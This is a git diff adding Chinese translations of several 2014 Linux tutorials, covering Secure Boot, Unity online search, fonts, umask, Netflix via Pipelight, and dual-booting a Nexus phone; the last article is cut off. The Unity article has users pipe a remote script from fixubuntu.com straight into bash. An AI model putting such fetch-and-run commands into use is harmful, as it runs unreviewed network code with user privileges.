0000000000..a89fbc28c6 --- /dev/null +++ b/published/201405/How To Disable UEFI Secure Boot In Windows 8 & 8.1.md @@ -0,0 +1,75 @@ +如何在 Win8 上禁用 UEFI 以安装Linux +================================================================================ +![](http://itsfoss.com/wp-content/uploads/2014/05/Disable_Secure_Boot_Windows8_UEFI.jpeg) + +现在,如果你买了预装 Windows 的电脑,一般都是 Windows8 或 Windows8.1。从 Windows8 开始,微软用 UEFI 取代了 BIOS。尽管 UEFI 不是微软发明的,在 Windows8 之前它就已经存在。比如某些 Mac 设备使用 UEFI 已经有一段时间了。 + +UEFI 有“安全启动”这个特点,引导程序只会启动那些得到 UEFI 固件签署的引导装载程序。此安全功能可以防止 Rootkit 类的恶意软件,并提供了额外的安全层。但它有一个缺点,如果你想在 Win8的电脑上双引导 Linux ,安全机制会阻止这样做。这篇文章告诉大家如何在Win8中禁用UEFI安全引导,以支持 Linux 的双系统启动。 + +### 在Windows 8 & 8.1上禁用UEFI安全启动 ### + +关于安全启动,充斥着各种各样的说法。由于这些传闻,有些人几乎认为在预装 Windows8 的电脑上启动 Linux 是不可能的。虽然在 ARM PC上这是真的,但是在基于 Intel 的系统上安全引导是可以被禁用的。老实说,**禁用UEFI安全启动**不是一个艰巨的任务,同样的双启动的 Linux 与 Windows 8 也不是。 + +虽然在 BIOS 时代,访问 BIOS 是相当简单的,在启动的时候按 F10 或 F12 键即可。但是在 UEFI 的世界里,就不一样了。要访问 UEFI 设置,你就必须进入到 Windows 中去。让我们来看看如何在 Windows 8 中访问 UEFI 设置来禁用安全启动。 + +#### Step 1: 进入PC设置 #### + +点击 Windows+I 按钮进入 Windows 设置界面。在底部,你会看到更改电脑设置的选项。点击它。 + +![](http://itsfoss.com/wp-content/uploads/2014/05/Disable_Secure_Boot_1.jpeg) + +#### Step 2: 进入高级启动 #### + +在 Windows 8 和 Windows8.1 上,PC设置有一个细微的差别。依照你使用的系统不同,分别按照下面介绍的各个步骤进行操作: + +Windows 8的:在Windows 8中,你需要进入通用PC设置,并选择**高级启动**,然后点击**立即重新启动:** + +![](http://itsfoss.com/wp-content/uploads/2014/05/Change_PC_Settings_Windows8.jpg) + +**Window 8.1**的:在 Windows8.1,从左侧边栏点击**更新和恢复**: + +![](http://itsfoss.com/wp-content/uploads/2014/05/Disable_Secure_Boot_Windows8_2.jpeg) + +然后单击**立即重新启动**下的**高级启动**: + +![](http://itsfoss.com/wp-content/uploads/2014/05/Disable_Secure_Boot_Windows8_3.jpeg) + +不要担心!这之后并不会立刻重新启动,而是会在下一步看到一些选项。 + +#### Step 4: 进入UEFI设置 #### + +当您单击了立即重新启动按钮,在下一页屏幕中,你将会看到一些可以选择的选项。这里选择**疑难解答**: + +![](http://itsfoss.com/wp-content/uploads/2014/05/Troubleshoot_Windows8.jpg) + +在**疑难解答**菜单中,选择**高级选项**: + +![](http://itsfoss.com/wp-content/uploads/2014/05/Troubleshoot_Windows8_1.jpg) + +在高级选项菜单中,选择**UEFI固件设置**: + +![](http://itsfoss.com/wp-content/uploads/2014/05/Troubleshoot_Windows8_2.jpg) + +接下来,在UEFI设置里,点击**重新启动**按钮重新启动您的系统,就会看到类似BIOS一样的界面。 + +![](http://itsfoss.com/wp-content/uploads/2014/05/Troubleshoot_Windows8_3.jpg) + +#### Step 5: 在 UEFI 中禁用安全启动 #### + +这个时候,你一定已经启动到 UEFI 工具界面。你可以在这里更改各种设置。但我们想要做的,只是禁用安全启动选项,允许 Ubuntu 或者任何其它 Linux 版本的双启动。 + +移动到启动选项卡,在那里你会发现**安全引导**选项被设置为启用。使用箭头键进入安全引导选项,然后按**回车键**来选择它。 *使用+或 - 来改变它的值。按** F10 键保存更改**并退出 UEFI 设置。**提示时确认即可**。 + +![](http://itsfoss.com/wp-content/uploads/2014/05/Disable_Secure_Boot_Windows8.jpg) + +接下来,您将会正常引导到 Windows。现在,您就支持双启动 Windows8 与 Ubuntu 或其它 Linux 操作系统了。过段时间里我会写关于如何双启动 Ubuntu 与 Windows 8 UEFI 的教程。敬请关注。 + +我希望这个教程可以帮助您禁用 Windows8 和 Windows8.1 的安全引导。如有任何疑问或建议,欢迎随时评论。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/disable-uefi-secure-boot-in-windows-8/ + +译者:[MikeCoder](https://github.com/MikeCoder) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201405/How To Disable Unity .04 LTS And Older Versions.md b/published/201405/How To Disable Unity .04 LTS And Older Versions.md new file mode 100644 index 0000000000..78bd5e2d8f --- /dev/null +++ b/published/201405/How To Disable Unity .04 LTS And Older Versions.md @@ -0,0 +1,83 @@ +让 Ubuntu 上的 Unity 在线搜索功能见鬼去吧! +================================================================================ +无论何时,你开始在 Unity Dash 搜索计算机中的应用程序或文件时,你的检索词将被自动发送给第三方,如亚马逊,并且第三方将依据您的搜索词显示相关结果(主要是广告)。如果你不喜欢这个功能,感觉真的打扰到你,你可以禁用它。 + +例如,当我在 Unity Dash 中输入 “Terminal” 时,将显示 “Terminal” 应用和 web 上其他第三方的东东(我要发狂了!我不想要这些!)。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/04/Menu_019.png) + +正如上面的截图所见,Unity显示内置的 **Terminal** 应用、引用链接、天气链接和其他第三方的推荐,如电影等。这是非常恼人的并且在 Unity Dash 上看起来很糟。同时,它显示了太多的搜索结果,并使我迷惑。 + +如果你像我一样不需要这个功能,在你的终端输入以下命令: + + wget -q -O - https://fixubuntu.com/fixubuntu.sh | bash + +上述脚本的内容如下: + + #!/bin/bash + + GS="/usr/bin/gsettings" + CCUL="com.canonical.Unity.lenses" + + # Figure out the version of Ubuntu that you're running + V=`/usr/bin/lsb_release -rs` + # The privacy problems started with 12.10, so earlier versions should do nothing + if awk "BEGIN {exit !($V < 12.10 || $V >= 14.10)}"; then + echo "Good news! This version of Ubuntu is not known to invade your privacy." + else + + # Check Canonical schema is present. Take first match, ignoring case. + SCHEMA="`$GS list-schemas | grep -i $CCUL | head -1`" + if [ -z "$SCHEMA" ] + then + printf "Error: could not find Canonical schema %s.\n" "$CCUL" 1>&2 + exit 1 + else + CCUL="$SCHEMA" + fi + + # Turn off "Remote Search", so search terms in Dash don't get sent to the internet + $GS set $CCUL remote-content-search none + + # If you're using earlier than 13.10, uninstall unity-lens-shopping + if [ $V \< 13.10 ]; then + sudo apt-get remove -y unity-lens-shopping + + # If you're using a later version, disable remote scopes + else + $GS set $CCUL disabled-scopes \ + "['more_suggestions-amazon.scope', 'more_suggestions-u1ms.scope', + 'more_suggestions-populartracks.scope', 'music-musicstore.scope', + 'more_suggestions-ebay.scope', 'more_suggestions-ubuntushop.scope', + 'more_suggestions-skimlinks.scope']" + fi; + + # Block connections to Ubuntu's ad server, just in case + if ! grep -q "127.0.0.1 productsearch.ubuntu.com" /etc/hosts; then + echo -e "\n127.0.0.1 productsearch.ubuntu.com" | sudo tee -a /etc/hosts >/dev/null + fi + + echo "All done. Enjoy your privacy." + fi + +再次,我进入到 Unity dash 的终端。现在 Unity 只显示终端应用,而不是无用的垃圾,现在 Unity Dash 看起来还不错。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/04/Menu_020.png) + +全部搞定,让那些杂乱的东西再也不要回来了。 + +欢呼~! + +**更新**:这一招只适用Unity desktop。如果你使用其他的比如GNOME,LXDE或Xfce,你不用这么做。同时,这个在线搜索功能将不会包含在Ubuntu 14.10和即将推出的版本中。 + +Source & Reference: [Fixubuntu][1] + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/disable-unity-online-search-feature-ubuntu-14-04-lts-older-versions/ + +译者:[tenght](https://github.com/tenght) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://fixubuntu.com/ diff --git a/published/201405/How To Look Up Dictionary Definitions Via Terminal.md b/published/201405/How To Look Up Dictionary Definitions Via Terminal.md new file mode 100644 index 0000000000..9601926022 --- /dev/null +++ b/published/201405/How To Look Up Dictionary Definitions Via Terminal.md @@ -0,0 +1,57 @@ +如何在Linux命令行下查询字典? +================================================================================ +大多数人在遇到他们不熟悉的单词时会查询google。或者他们用一个最喜欢的在线字典来提供答案。当你在没有网络连接的时候怎么办?或者你只有一个古老的Linux发行版且你没有GUI界面?你需要离线查找的话,这里有一个好的方法。 + +首先你需要本地设置dictd。**dictd** 是一个字典数据库服务器。它允许你访问在线字典。但是等一下,我们不是要离线使用么?这是为什么我们要将其安装到本地的原因。它带有一个命令行客户端。 + +要在Ubuntu或者Debian上安装你要输入: + + $ sudo apt-get install dictd + +这个很简单。现在你需要安装用的字典。安装完每个字典插件后dictd都会自动重新加载它的数据库。让我们来安装英语字典和英语同义词词典。 + +输入: + + $ sudo apt-get install dict-gcide + $ sudo apt-get install dict-moby-thesaurus + +如果你希望查询其他可以查询的语言,你可以输入: + + $ sudo apt-cache search “dict package” + +这会列出下面这样的: + + dict-freedict-eng-ara - Dict package for English-Arabic Freedict dictionary + dict-freedict-eng-cro - Dict package for English-Croatian Freedict dictionary + dict-freedict-eng-cze - Dict package for English-Czech Freedict dictionary + dict-freedict-eng-deu - Dict package for English-German Freedict dictionary + dict-freedict-eng-fra - Dict package for English-French Freedict dictionary + +现在你已成功安装dictd了,之后你就可以查找字典了。 + +首先,让我们检查一下dictd服务是否在运行并且安装了什么数据库: + + $ dict -I + +示例输出: + + dictd 1.12.0/rf on Linux 3.2.0-29-generic-pae + On my_host: up 95.000, 2 forks (75.8/hour) + + Database Headwords Index Data Uncompressed + gcide 203645 3859 kB 12 MB 38 MB + moby-thesaurus 30263 528 kB 10 MB 28 MB + +为了查询一个单词,你可以指定要查询的字典。让我们查询一下English one字典(gcid): + + $ dict -d gcide [你要查的单词] + +如果你不使用**-d** 参数,dictd会搜寻所有的安装字典并返回匹配的结果。 + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/look-dictionary-definitions-via-terminal/ + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201405/How To Play 3D Movies In Ubuntu.md b/published/201405/How To Play 3D Movies In Ubuntu.md new file mode 100644 index 0000000000..3529c9158d --- /dev/null +++ b/published/201405/How To Play 3D Movies In Ubuntu.md @@ -0,0 +1,35 @@ +如何在 Ubuntu 中播放3D电影 +================================================================================ +亲爱的 Linux 极客们, + +**Q:** 我下载了一部高品质 3D 电影,但是当我用 VLC 播放器播放的时候,画面被分割成两个部分,我可不想这样欣赏我的高清大片。 + +![](http://www.unixmen.com/wp-content/uploads/2014/03/s2.png) + +在本教程中你将会学习如何在 Ubuntu 中用名为[bino][1]的 3D 电影播放器来观看 3D 电影。你可以在终端中执行以下命令来轻松获取有关 3D 电影播放器的相关信息。 + + apt-cache search bino + +在你的 Ubuntu 电脑中打开新终端(CTRL+ALT+T),执行以下命令来安装 bino。 + + sudo apt-get install bino + +bino 安装完成后通过应用程序 → 音视频 → Bino 来启动,或者只需在终端中输入 bino 并按下回车。 + +如果你想播放,可以通过文件(File)点击打开(Open)来定位你的3D视频剪辑或电影。你的电影将会开始播放,但是画面仍然分成两个部分,没人喜欢这样看电影。 + +现在在输入(Input)中选择左/右(Left/Right)选项。你将看到很大的改变,我觉得你会喜欢。下面的截图说明了一切。我虽然刚开始用bino播放器,但是尝试着播放,看看我是否可以找到更多的技巧。 + +![](http://www.unixmen.com/wp-content/uploads/2014/03/s1.png) + +不要忘记点击播放按钮来观看电影。 + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/play-3d-movies-ubuntu/ + +译者:[Vito](https://github.com/vito-L) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://bino3d.org/ diff --git a/published/201405/How To Watch Netflix In Ubuntu 14.04 With Netflix Desktop App.md b/published/201405/How To Watch Netflix In Ubuntu 14.04 With Netflix Desktop App.md new file mode 100644 index 0000000000..91fa2699a8 --- /dev/null +++ b/published/201405/How To Watch Netflix In Ubuntu 14.04 With Netflix Desktop App.md @@ -0,0 +1,60 @@ +如何在Ubuntu 14.04中观看Netflix +================================================================================ +在Windows中观看Netflix是很容易的。你可以使用网络浏览器或者桌面程序,但这在linux中并不同。这在linux中默认并不可行,这是因为Netflix需要[Microsoft Silverlight][1],同时由于这是"微软"的,很明显这无法在Linux上使用。所以在Linux上就没法使用Netflix了么?当然有办法。本篇中我们就会看到如何在Ubuntu 14.04上观看Netflix(或许在老版本中如13.10和13.04等也可以)。 + +### 如何在Ubuntu 14.04 中观看Netflix: ### + +我们需要用到[Pipelight][2],一个通过[Wine][3]来在Linux上支持Silverlight的项目。这个项目仍在beta状态,但是已经工作的很好了。让我们看看如何在Ubuntu 14.04上安装Pipelight。 + +#### 在Ubuntu 14.04 上安装Pipelight #### + +要感谢Pipelight团队的PPA,在Ubuntu14.04上安装Pipelight是很方便的。打开一个终端并且运行依次运行下面的命令: + + sudo apt-add-repository ppa:pipelight/stable + sudo apt-get update + sudo apt-get install pipelight-multi + +安装包大概有450MB左右因此如果你的网络连接很慢的话可能会花费一些时间。同样,Pipelight在beta状态,因此到这里检查一下安装指令(以防将来有什么变化)。 + +#### 启用 Sliverlight 来播放 Netflix #### + +通常Pipelight已经默认启用了silverlight插件,但是为了万无一失,使用下面的命令启用Silverlight: + + sudo pipelight-plugin --enable silverlight + +这里要接受两个条件,一旦你做了,它会花费一些时间来安装Silverlight。 + +#### 在 Ubuntu 14.04 中安装Netflix桌面应用 #### + +此时你应该可以在web浏览器中使用Netflix了。但是Pipelight项目还提供了更多。刚才我们使用的PPA同样还有对于Ubuntu的Netflix的桌面应用,使用下面的命令: + + sudo apt-get install netflix-desktop + +安装完成后,你可以在Unity Dash中找到Netflix。 + +![](http://itsfoss.com/wp-content/uploads/2014/04/Netflix_Desktop_App_Ubuntu.png) + +At first run, it will install some Wine related stuff. Let it do that. Afterwards, it should run fine: +第一次启动时,它会安装Wine相关的一些东西。让它自己做好了。在这之后,它就会正常运行了: + +![](http://itsfoss.com/wp-content/uploads/2014/04/Netflix_desktop_app_Ubuntu_1404.jpeg) + +### 在USA之外的Ubuntu上使用Netflix : ### + +你注意到上面的Netflix桌面应用了么?它说Netflix不支持我所在的国家地区(也就是说,法国)。我不是Netflix的粉丝,不过我写了一篇[如何在美国之外轻松观看Netflix][4]。如果你想要在美国之外观看Netflix,你需要改变DNS设置才行。 + +文中提到的Tunlr是一个已经关闭的免费服务。作为替代,我还使用 [Unlocator][5],在beta状态下还是免费的。很容易使用且体验良好。Unlocator现在不再免费了,但是如果你愿意每月花$5,[Unlocator][5]是一个很棒的DNS解锁服务器。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/netflix-ubuntu-1404-desktop-app/ + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.microsoft.com/silverlight/ +[2]:http://fds-team.de/cms/articles/2013-08/pipelight-using-silverlight-in-linux-browsers.html +[3]:http://en.wikipedia.org/wiki/Wine_(software) +[4]:http://itsfoss.com/easiest-watch-netflix-hulu-usa/ +[5]:http://goo.gl/QHT0oq diff --git a/published/201405/How to Add Beautiful Fonts to Any Linux Distribution.md b/published/201405/How to Add Beautiful Fonts to Any Linux Distribution.md new file mode 100644 index 0000000000..ca4096f2b5 --- /dev/null +++ b/published/201405/How to Add Beautiful Fonts to Any Linux Distribution.md @@ -0,0 +1,87 @@ +如何给任意一款 Linux 发行版添加漂亮的字体 +================================================================================ +![](http://i1-news.softpedia-static.com/images/news2/How-to-Add-Beautiful-Fonts-to-Any-Linux-Distribution-434835-2.jpg) + +**接下来的教程将指导所有 Linux 用户怎么简单的将漂亮的字体添加到自己的操作系统。我们已经为 Debian、Arch Linux、openSUSE、Slackware 和 Fedora 发行版编写了详细的介绍。** + +正如许多用户所知,几乎所有基于 Linux 的操作系统主要缺点就是默认选择的字体并不令终端用户满意,尤其是那些从 Windows 或者 Mac OS X 等操作系统迁移过来的用户。 + +除了使用自己的一套字体的Ubuntu,从一开始就看起来就相当漂亮,其它所有 Linux 发行版都有字体丑陋的缺点。正因如此,许多用户试图创建一种新的方法来增强文字在各个发行版中渲染效果。 + +这就是 Infinality 项目产生的原因,其主要目的是通过添加补丁来为使用任何基于 Linux 操作系统的用户提供最好的字体渲染效果。 + +### Infinality for Arch Linux ### + +1. 将infinality-bundle,infinality-bundle-multilib (用于使用64位系统的用户)和infinality-bundle-fonts仓库添加到你的 /etc/pacman.conf文件中: + + [infinality-bundle] + Server = http://bohoomil.com/repo/$arch + + [infinality-bundle-multilib] + Server = http://bohoomil.com/repo/multilib/$arch + + [infinality-bundle-fonts] + Server = http://bohoomil.com/repo/fonts + +2. 执行 sudo pacman -Syu 命令用来刷新仓库,然后运行 + + sudo pacman -S infinality-bundle infinality-bundle-multilib ibfonts-meta-extended (用于64位系统) + + sudo pacman -S infinality-bundle ibfonts-meta-extended (用于32位系统) + + +3. 当被询问是否替换 fontconfig 软件包的 freetype2 时,回答YES。完成后重启你的计算机。 + +### Infinality for Fedora ### + +1. 在终端窗口中执行如下命令 + + sudo rpm -Uvh http://www.infinality.net/fedora/linux/infinality-repo-1.0-1.noarch.rpm + sudo yum install freetype-infinality fontconfig-infinality + +2. 重启你的机器。 + +### Infinality for openSUSE ### + +1. 添加 Infinality 官方仓库: + + + http://download.opensuse.org/repositories/home:/namtrac:/subpixel/openSUSE_13.1/ +打开YaST中的库选项卡,选择namtrac:subpixel仓库,并打击“切换系统包的版本到这个仓库”。 + +2. 标记 namtrac:subpixel 中所有还没有安装的包来进行安装,然后从 openSUSE 官方软件仓库中安装 fontconfig-infinality 包。 + +3. 在字体设置选项里将 Subpixel Hinting 选择为“使用系统设置”,或者设置为带有微调的 RGB 顺序。重启你的系统。 + +### Infinality for Slackware ### + +详细的安装指南:[http://someslack.wordpress.com/infinality-on-slackware/][1] + +### Infinality for Debian ### + +1. 在终端中执行下面的命令(一个一个执行,每一行之后敲击回车): + + echo “deb http://ppa.launchpad.net/no1wantdthisname/ppa/ubuntu raring main” | sudo tee /etc/apt/sources.list.d/infinality.list + echo “deb-src http://ppa.launchpad.net/no1wantdthisname/ppa/ubuntu raring main” | sudo tee -a /etc/apt/sources.list.d/infinality.list + sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys E985B27B + +2. 执行以下命令来升级你的系统并安装 Infinality 包: + + sudo apt-get update + sudo apt-get upgrade + sudo apt-get install fontconfig-infinality + +3. 重启你的计算机。 + +对于任何文中没有提到的其它 Linux 发行版,请使用官方的介绍:[https://github.com/Infinality/fontconfig-infinality/tree/master/infinality][2]。跟以往一样,当你使用本教程过程中遇到任何问题都可以在下面评论,不要犹豫。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/How-to-Add-Beautiful-Fonts-to-Any-Linux-Distribution-434835.shtml + +译者:[SCUSJS](https://github.com/scusjs) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://someslack.wordpress.com/infinality-on-slackware/ +[2]:https://github.com/Infinality/fontconfig-infinality/tree/master/infinality diff --git a/published/201405/How to Change Umask Value Permanently in Linux.md b/published/201405/How to Change Umask Value Permanently in Linux.md new file mode 100644 index 0000000000..0e21a0f905 --- /dev/null +++ b/published/201405/How to Change Umask Value Permanently in Linux.md @@ -0,0 +1,40 @@ +保护你的文件,请在 Linux 中更改 Umask 值 +================================================================================ +![](http://i1-news.softpedia-static.com/images/news2/How-to-Change-Umask-Value-Permanently-in-Linux-435026-2.jpg) + +**这篇教程教将指导 Linux 用户如何永久性地更改其系统的 Umask 值。特别建议全新安装的用户学习(想知道为什么的话,请移步下文)** + +Umask 是什么?解释下,UMASK 代表用户掩码或用户文件创建掩码,它用于新创建的文件和文件夹,是其默认权限的基础。 + +上面的意思可以解释成任何基于 Linux 的操作系统为新建文件(包括文件夹)添加默认权限的规则。出于教育目的,下面列出了一些可以用来设置文件权限的八进制值**掩码**: + + 0 – 读, 写, 可执行 (rwx) + 1 – 读和写 (rw-) + 2 – 读和可执行 (r-x) + 3 – 只读 (r--) + 4 – 写和可执行 (-wx) + 5 – 只写 (-w-) + 6 – 仅可执行 (--x) + 7 – 没有权限 (---) + +在几乎所有的 Linux 发行版本中默认 Umask 值是 0022(或022),可以在终端模拟程序中输入 umask 命令来查看。也可以运行 “umask 八进制值掩码” 命令(例如 umask 027)来临时改变这个值。 + +你也许知道,新创建的文件的默认权限设置原本应该是 0666,文件夹的是 0777。应用上面所说的 umask 值后就得到 644 和 755 权限。 + +许多意见认为 022 掩码会带来隐私问题,也就是说您所创建的文件对其他用户来说是可随意查看的,一想到这就感到不太爽! + +言归正传,用户可以按他们所愿来修改默认的 Umask 值,当然首先要保证修改的值合法。要修改默认值,**请在您的 shell 配置文件中或者 /etc/profile 文件中写入一个新的 Umask 值**。 + +好了,这就大功告成了!从现在开始,在你的 Linux 系统上新创建的文件或文件夹都会有准确设置的权限。但请注意已经存在的文件或文件夹的权限并不会因为上面的操作而改变。 + +如果您使用的是命令行,可以在任意目录下运行 ls -lah 命令,就可以看到当前的文件权限。另外,新手也可以很容易地查看到文件权限,在基于 GNOME 桌面的环境中,通过右击文件,选择属性 -> 权限选项卡。 + +如果你在阅读这篇教程时遇到任何问题,不要犹豫,请留下您的评论。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/How-to-Change-Umask-Value-Permanently-in-Linux-435026.shtml + +译者:[runningwater](https://github.com/runningwater) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201405/How to Dual Boot Android 4.4.2 and Ubuntu for Phones.md b/published/201405/How to Dual Boot Android 4.4.2 and Ubuntu for Phones.md new file mode 100644 index 0000000000..fa16054702 --- /dev/null +++ b/published/201405/How to Dual Boot Android 4.4.2 and Ubuntu for Phones.md @@ -0,0 +1,45 @@ +如何在Nexus上实现Ubuntu和Android 4.4.2 双启动 +================================================================================ +![](http://i1-news.softpedia-static.com/images/news2/Hot-to-Dual-Boot-Android-4-4-2-and-Ubuntu-for-Phones-438840-2.jpg) + +**现在在电话上测试Ubuntu变得更加简单,可以从Canonical上下载一个程序,它可以安装新的操作系统而不必删除原有的Andorid。能够双启动的系统可以吸引更多的用户关注手机/平板上的新开源平台。** + +Canonical在它的网站上有一个流程解释了如何在电话上安装Ubuntu,但是这实际上需要删除Android系统才能获得新的操作系统。Ubuntu的开发者已经做了大量的工作,这个新的系统看上去很棒,但是如果你决定退回到Android,你就需要删除Ubuntu并安装Google的Android系统。这意味这你不得不重复设置你的电话,这可能会比较麻烦。 + +幸运的是,现在有一个称为[MultiROM Manager][1]的解决方案,它由Vojtech Bocek开发,现在已经可以在Google Play上下载到了,而且支持Nexus 7 (2012 & 2013)、 Nexus 4 和 Nexus 5。 + +另一方面,Ubuntu Touch只支持Nexus 4 (mako) 、Nexus 7 (2013) 平板 (flo)和 Nexus 10 平板 (manta),因此除非你有这些设备,否则你可能不能安全地执行这些步骤(它可能能够工作,但是不保证会让你的设备变砖同时/或者失去所有的数据。) + +首先,你需要一台解锁的设备,既然你有一台Nexus的设备这应该不是一个问题。你同样还需要root你的Andorid设备,这样你才能在这个应用里安装操作系统。 + +有很多工具可以完成这个root的工作。首先,你需要安装ADB(Android Debug Bridge), 它随同Canonical的工具一起提供。你需要在终端下运行下面的命令: + + sudo add-apt-repository ppa:phablet-team/tools + sudo apt-get update + sudo apt-get install ubuntu-device-flash + +现在,你需要下载两个二进制包,[TWRP 2.7.0.0][2] 和 [SuperSU][3],它们可以让你实现root。复制SuperSU的二进制zip包到你的电话内存中,运行下面的命令进入bootloader(译注:原文的命令 sudo reboot bootloader,应该是笔误丢失了adb 命令 ): + + sudo adb reboot bootloader + +在你的电脑上解压TWRP文件,并用下面的命令安装镜像到手机上(用你下载的文件名代替下面的“recovery.img”)(译注:此处的fastboot应该也需要sudo权限才可以执行。) + + sudo fastboot flash recovery recovery.img + +从bootloader菜单进入recovery,你就会看到TWRP 2.7.0.0。运行TWRP并安装SuperSU二进制包,接着重启。 + +现在你已经有root访问权限了。安装Multi Manager,应用补丁,并为手机下载Ubuntu。应用会要求root权限,接着安装会顺利进行。当你重启的时候你会看到一个小窗口提示你选择你要运行的系统。选择Ubuntu后你就可以运行了。 + +是不是新的享受? + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Hot-to-Dual-Boot-Android-4-4-2-and-Ubuntu-for-Phones-438840.shtml + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://play.google.com/store/apps/details?id=com.tassadar.multirommgr +[2]:http://teamw.in/project/twrp2 +[3]:http://androidsu.com/superuser/ diff --git a/published/201405/How to Upgrade to GNOME 3.12 in Ubuntu 14.04.md b/published/201405/How to Upgrade to GNOME 3.12 in Ubuntu 14.04.md new file mode 100644 index 0000000000..1c848062ec --- /dev/null +++ b/published/201405/How to Upgrade to GNOME 3.12 in Ubuntu 14.04.md @@ -0,0 +1,99 @@ +Ubuntu 14.04下升级GNOME至3.12 +================================================================================ +![读者可以直接升级GNOME至3.12-但并不建议这么做](http://www.omgubuntu.co.uk/wp-content/uploads/2014/03/Screen-Shot-2014-03-26-at-21.53.58-350x200.png) + +**如果您的系统最近已升级至Ubuntu GNOME 14.04 LTS版本,那么拥有稳定独立的GNOME Shell无疑是您最佳的选择** + +但我认为比较保守的用户会倾向于选择默认向新手提供的稳定版本。你真想要了解如何在Ubuntu14.04升级GNOME至3.12吗? + +好的,接下来我将向你介绍如何完成。首先,我们需要先了解下来龙去脉。 + +#### 默认采用GNOME 3.10的原因 #### + +GNOME 3.12在3月底发布后引发了一阵轰动而天马行空的评论。尽管其上个月发布的版本在Ubuntu 14.04 LTS版本之前已经逐步趋于稳定,却仍不能从14.04包中直接安装,这是为什么呢? + +简单来说在开发周期中它出现太晚以至于没有充足的时间来对它进行审查、测试并确保它已经更新至LTS命令发布支持的标准及用户期望。默认至旧版发布的3.10是有意义的,因为有专门的计划来确保测试完整。 + +所以,正因为这样**不建议升级GNOME至3.12**。 + +这样清楚了吗?接下来,让我们进入下一个阶段。 + +### 如何在Ubuntu 14.04升级GNOME至3.12### + +#### 确保你正在运行的GNOME版本是3.10 #### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/05/gr.jpg) + +为确保正确遵循本向导,需要在最新版本的Ubuntu(14.04 LTS)或Ubuntu GNOME下继续操作。如果不是最新版本的话,请停止操作;你需要升级后再继续。如果不这样做,接下来将会有一系列复杂又麻烦的事情需要解决。 + +若你运行的是Ubuntu常规版本(例如带有Unity),那么需要在开始以下步骤前从Ubuntu软件中心安装GNOME 3.10。 + +按以下给出的链接选项准备好安装程序。 + +- [Ubuntu14.04LTS版本下安装GNOME3.10] + +#### 增加GNOME 3.12 PPA #### + +起初人们预想的是GNOME 3.12将会由标准GNOME Team PPA随着 14.04 LTS 发布。但3个星期过去了,却什么都没有。这是因为一些小的3.10软件包仍然没有跟着发布最新的3.12的包。 + +然而,[GNOME Team Staging PPA][2]确实涵盖了升级用到的各种3.12版本包。开发者强调说,增加这个存档会让桌面系统‘运行流畅’,但现在包含的包并未‘准备好为大众所使用’。 + +这儿假设您是一个PPA清理工具的行家,以上的一切都已明了,请继续向下。首先,让我们核对并安装已发布的更新: + + sudo apt-get update && sudo apt-get dist-upgrade + +按下回车键后等待安装包程序。 + +一旦完成此过程或再没有任何挂起的更新,就可以增加 GNOME Team Staging PPA了。为实现这项操作,打开新的命令行窗口输入以下命令: + + sudo add-apt-repository ppa:gnome3-team/gnome3-staging + + sudo apt-get update && sudo apt-get dist-upgrade + +升级过程开始前需要输入密码,同时需要注意此过程中命令行提示的信息。如果一切顺利点击‘y’键确认安装。 + +#### 附加内容 #### + +为体验真实的GNOME环境也许你想获取一些新的GNOME应用,例如[Polari IRC客户端、GNOME地图和GNOME网页浏览器][3]。安装这三个应用需要运行如下的命令: + + sudo apt-get install epiphany-browser gnome-maps polari -y + +在这些都安装完成之后,你就可以安全的重启了! + +### 善后服务 ### + +#### 登录 #### + +如果你之前使用Unity,Xfce或别的桌面环境,不要忘记登录前从登录界面选择GNOME会话。 + +#### 回顾 #### + +![GNOME Weather & GNOME Maps in 3.12 3.12版GNOME天气&GNOME地图](http://www.omgubuntu.co.uk/wp-content/uploads/2014/04/gnome-aspps.jpg) + +对我自己来说,Ubuntu 14.04下运行GNOME 3.12很流畅。升级后没有出现任何诸如性能下降的问题,尽管我确实见到过在打开活动窗口时的奇怪罕见的显示故障,并且在一个应用下发生的间歇性阴影消失现象。但随着错误不断消除这些都不是大问题。 + +3.12版本的性能等同于GNOME3.10;应用的打开方式交互性强且体验并没有明显下降。 + +所有新的GNOME影音应用在PPA上并没有现成的包,这让人有点失望。当然有理由解释这点(很可能需要新版本的视频解码器)。此外仍要注意的是一些GNOME扩展包在升级后不能继续工作。 + 